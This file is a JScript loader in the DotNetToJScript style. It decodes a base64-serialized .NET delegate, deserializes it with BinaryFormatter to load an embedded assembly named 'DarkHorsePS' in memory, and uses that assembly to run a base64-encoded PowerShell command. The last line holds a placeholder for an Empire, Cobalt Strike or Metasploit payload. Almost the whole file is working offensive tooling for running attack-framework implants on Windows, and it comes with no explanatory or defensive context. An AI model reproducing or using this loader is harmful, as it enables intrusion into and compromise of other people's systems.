function setversion() {
	var shell = new ActiveXObject('WScript.Shell');
	ver = 'v4.0.30319';
	try {
	shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
	} catch(e) { 
	ver = 'v2.0.50727';
	}
	shell.Environment('Process')('COMPLUS_Version') = ver;

}
function debug(s) {
	var shell = new ActiveXObject('WScript.Shell');
	shell.Echo(s);
}
function base64ToStream(b) {
	var enc = new ActiveXObject("System.Text.ASCIIEncoding");
	var length = enc.GetByteCount_2(b);
	var ba = enc.GetBytes_4(b);
	var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
	ba = transform.TransformFinalBlock(ba, 0, length);
	var ms = new ActiveXObject("System.IO.MemoryStream");
	ms.Write(ba, 0, (length / 4) * 3);
	ms.Position = 0;
	return ms;
}

var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
"BAAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDAHbWV0aG9kMQMHAwMwU3lzdGVtLkRlbGVnYXRl"+
"U2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1i"+
"ZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2Vy"+
"aWFsaXphdGlvbkhvbGRlcgkCAAAACQMAAAAJBAAAAAkFAAAABAIAAAAwU3lzdGVtLkRlbGVnYXRl"+
"U2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdl"+
"dBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVu"+
"dHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50"+
"cnkGBgAAANoBU3lzdGVtLkNvbnZlcnRlcmAyW1tTeXN0ZW0uQnl0ZVtdLCBtc2NvcmxpYiwgVmVy"+
"c2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkz"+
"NGUwODldLFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249Mi4w"+
"LjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0G"+
"BwAAAEttc2NvcmxpYiwgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tl"+
"eVRva2VuPWI3N2E1YzU2MTkzNGUwODkGCAAAAAd0YXJnZXQwCQcAAAAGCgAAABpTeXN0ZW0uUmVm"+
"bGVjdGlvbi5Bc3NlbWJseQYLAAAABExvYWQJDAAAAA8DAAAAABAAAAJNWpAAAwAAAAQAAAD//wAA"+
"uAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0h"+
"uAFMzSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBF"+
"AABkhgIAqQMmWQAAAAAAAAAA8AAiIAsCMAAACgAAAAQAAAAAAAAAAAAAACAAAAAAAIABAAAAACAA"+
"AAACAAAEAAAAAAAAAAQAAAAAAAAAAGAAAAACAAAAAAAAAwBAhQAAQAAAAAAAAEAAAAAAAAAAABAA"+
"AAAAAAAgAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAADYJwAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAACAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAEAkAAAAgAAAACgAAAAIA"+
"AAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAMAAAAAAAAAAAAAAAAAABAAABA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAACAAUAuCAAACAHAAAB"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4C"+
"KA4AAAoqEzAEAFkAAAABAAARcgEAAHAKAygPAAAKCygQAAAKB28RAAAKCigSAAAKJW8TAAAKJXMU"+
"AAAKJiVvFQAACiVvFgAACgZvFwAACiVvFgAACnIDAABwbxgAAApvGQAACiZvGgAACioAAABCU0pC"+
"AQABAAAAAAAMAAAAdjIuMC41MDcyNwAAAAAFAGwAAABMAgAAI34AALgCAAA8AwAAI1N0cmluZ3MA"+
"AAAA9AUAABwAAAAjVVMAEAYAABAAAAAjR1VJRAAAACAGAAAAAQAAI0Jsb2IAAAAAAAAAAgAAAUcV"+
"AgAJAAAAAPoBMwAWAAABAAAAGAAAAAIAAAACAAAAAQAAABoAAAAOAAAAAQAAAAEAAAACAAAAAAAN"+
"AgEAAAAAAAYAPwHWAgYArAHWAgYAjABwAg8A9gIAAAYAtABGAgYAIgFGAgYAAwFGAgYAkwFGAgYA"+
"XwFGAgYAeAFGAgYAywBGAgYAoAC3AgYAfgC3AgYA5gBGAgYABwMdAgYAGAMdAgYAygEgAwoALAOQ"+
"AgoAUQCQAgoAWgApAgoAbwCQAgoAWAKQAgYAAQDuAQoABQMpAgAAAAAOAAAAAAABAAEAAQAQACEA"+
"AAA9AAEAAQBIIAAAAACGGGoCBgABAFAgAAAAAIYALQAQAAEAAAABAEAACQBqAgEAEQBqAgYAGQBq"+
"AgoAKQBqAhAAMQBqAhAAOQBqAhAAQQBqAhAASQBqAhAAUQBqAhAAWQBqAhAAYQBqAhUAaQBqAhAA"+
"cQBqAhAAeQBqAgYAgQDTASAAiQAXACYAiQDkASsAkQBLADEAmQAkAgYAoQBqAjYAmQBpADwAqQCD"+
"AkEAsQAOAxAAsQA8ABAAqQBiAEYAmQB4AAYALgALAGEALgATAGoALgAbAIkALgAjAJIALgArAKMA"+
"LgAzAKMALgA7AKMALgBDAJIALgBLAKkALgBTAKMALgBbAKMALgBjAMEALgBrAOsAQwBbAPgAGgAE"+
"gAAAAQAAAAAAAAAAAAAAAAAhAAAAAgAAAAAAAAAAAAAATwAzAAAAAAABAAAAAAAAAAAAAABYACkC"+
"AAAAAAAAAAAAQ29sbGVjdGlvbmAxADxNb2R1bGU+AGdldF9BU0NJSQBEYXJrSG9yc2VQUwBSdW5Q"+
"UwBtc2NvcmxpYgBBZGQAZW5jQ29tbWFuZABDcmVhdGVSdW5zcGFjZQBSdW5zcGFjZUludm9rZQBD"+
"cmVhdGVQaXBlbGluZQBDbG9zZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29t"+
"VmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJr"+
"QXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0"+
"aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxh"+
"eGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmln"+
"aHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5"+
"QXR0cmlidXRlAEVuY29kaW5nAEZyb21CYXNlNjRTdHJpbmcAR2V0U3RyaW5nAFN5c3RlbS5Db2xs"+
"ZWN0aW9ucy5PYmplY3RNb2RlbABEYXJrSG9yc2VQUy5kbGwAU3lzdGVtAE9wZW4AU3lzdGVtLk1h"+
"bmFnZW1lbnQuQXV0b21hdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBDb21tYW5kQ29sbGVjdGlvbgAu"+
"Y3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAZ2V0X0NvbW1hbmRzAFN5c3RlbS5NYW5hZ2VtZW50LkF1"+
"dG9tYXRpb24uUnVuc3BhY2VzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0u"+
"UnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAFBTT2JqZWN0AEFkZFNjcmlw"+
"dABDb252ZXJ0AFN5c3RlbS5UZXh0AFJ1bnNwYWNlRmFjdG9yeQAAAQAVTwB1AHQALQBTAHQAcgBp"+
"AG4AZwABAAAA/2gqpV/bLkOlpkE4cVlA8QAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQECBQcCDh0F"+
"BQABHQUOBAAAEkUFIAEOHQUEAAASTQUgAQESTQQgABJVBCAAElkIIAAVEl0BEmEIt3pcVhk04IkI"+
"Mb84Vq02TjUIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAA"+
"EAEAC0RhcmtIb3JzZVBTAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE3AAApAQAkOGE2NWQ0"+
"OWEtNzY1Ni00ZjlhLTliNzEtODc5YjQ5ZTE3MTI3AAAMAQAHMS4wLjAuMAAABQEAAQAAAAAAAAAA"+
"qQMmWQAAAAACAAAAHAEAAPQnAAD0CQAAUlNEU2CLQHkQfgFEqOKGAAdGxioBAAAAYzpcdXNlcnNc"+
"eG9ycmlcZG9jdW1lbnRzXHZpc3VhbCBzdHVkaW8gMjAxN1xQcm9qZWN0c1xEYXJrSG9yc2VQU1xE"+
"YXJrSG9yc2VQU1xvYmpceDY0XFJlbGVhc2VcRGFya0hvcnNlUFMucGRiAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgA"+
"AIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAALAMA"+
"AAAAAAAAAAAALAM0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEA"+
"AAABAAAAAAAAAAEAAAAAAD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBG"+
"AGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBIwC"+
"AAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAGgCAAABADAAMAAwADAAMAA0AGIAMAAA"+
"ABoAAQABAEMAbwBtAG0AZQBuAHQAcwAAAAAAAAAiAAEAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUA"+
"AAAAAAAAAABAAAwAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAARABhAHIAawBI"+
"AG8AcgBzAGUAUABTAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAA"+
"LgAwAAAAQAAQAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABEAGEAcgBrAEgAbwByAHMAZQBQ"+
"AFMALgBkAGwAbAAAAEgAEgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkA"+
"cgBpAGcAaAB0ACAAqQAgACAAMgAwADEANwAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBh"+
"AHIAawBzAAAAAAAAAAAASAAQAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEQA"+
"YQByAGsASABvAHIAcwBlAFAAUwAuAGQAbABsAAAAOAAMAAEAUAByAG8AZAB1AGMAdABOAGEAbQBl"+
"AAAAAABEAGEAcgBrAEgAbwByAHMAZQBQAFMAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMA"+
"aQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBp"+
"AG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQAAAAvU3lzdGVtLlJlZmxlY3Rpb24u"+
"TWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIGAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNz"+
"TmFtZQlTaWduYXR1cmUKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQADCA1TeXN0ZW0u"+
"VHlwZVtdCQsAAAAJBwAAAAkKAAAABhAAAAAvU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkgTG9h"+
"ZChCeXRlW10sIEJ5dGVbXSkIAAAACgEFAAAABAAAAAYRAAAACFRvU3RyaW5nCQcAAAAGEwAAAA5T"+
"eXN0ZW0uQ29udmVydAYUAAAAJVN5c3RlbS5TdHJpbmcgVG9TdHJpbmcoU3lzdGVtLk9iamVjdCkI"+
"AAAACgEMAAAAAgAAAAYVAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90aW5nLk1lc3NhZ2luZy5IZWFk"+
"ZXJIYW5kbGVyCQcAAAAKCQcAAAAJEwAAAAkRAAAACgsA";
var entry_class = 'DarkHorsePS';

try {
	setversion();
	var stm = base64ToStream(serialized_obj);
	var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
	var al = new ActiveXObject('System.Collections.ArrayList');
	var n = fmt.SurrogateSelector;
	var d = fmt.Deserialize_2(stm);
	al.Add(n);
	var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
	o.RunPS("YOUR BASE64 ENCODED EMPIRE/CS/METASPLOIT payload HERE");
} catch (e) {
    debug(e.message);
}
